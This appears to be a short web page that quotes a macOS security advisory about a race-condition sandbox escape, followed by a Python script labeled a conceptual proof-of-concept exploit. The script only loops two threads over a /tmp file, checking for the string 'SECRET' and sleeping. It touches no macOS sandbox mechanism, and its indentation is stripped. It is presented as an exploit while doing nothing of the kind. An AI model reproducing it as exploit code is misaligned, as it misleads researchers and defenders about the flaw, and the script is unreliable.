A race condition was addressed with additional validation. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to break out of its sandbox.
The following code is for security research and authorized testing only.
python
import threading
import os
import time
# Proof of Concept (Conceptual) for Race Condition Sandbox Escape
# This script simulates the race condition logic to bypass validation.
class SandboxExploit:
def __init__(self):
self.vulnerable_resource = "/tmp/sandbox_protected_file"
self.exploit_success = False
def malicious_action_thread(self):
"""
This thread attempts to access the resource during the race window.
Simulates the payload execution.
"""
print("[+] Starting malicious action thread...")
while not self.exploit_success:
# Simulate the race condition attempt
try:
# Attempt to write/read restricted resource
with open(self.vulnerable_resource, 'r+') as f:
if "SECRET" in f.read():
print("[!] Sandbox Escape Successful! Read restricted data.")
self.exploit_success = True
break
except (IOError, PermissionError):
# Failed validation, retry immediately
continue
def validation_trigger_thread(self):
"""
This thread performs actions that trigger the vulnerable validation check.
"""
print("[+] Starting validation trigger thread...")
while not self.exploit_success:
# Perform operation that triggers the check
if os.path.exists(self.vulnerable_resource):
# Simulate the time gap between check and use
time.sleep(0.0001)
def execute(self):
# Create threads to race against each other
t1 = threading.Thread(target=self.malicious_action_thread)
t2 = threading.Thread(target=self.validation_trigger_thread)
t1.start()
t2.start()
t1.join()
t2.join()
if __name__ == "__main__":
exploit = SandboxExploit()
exploit.execute()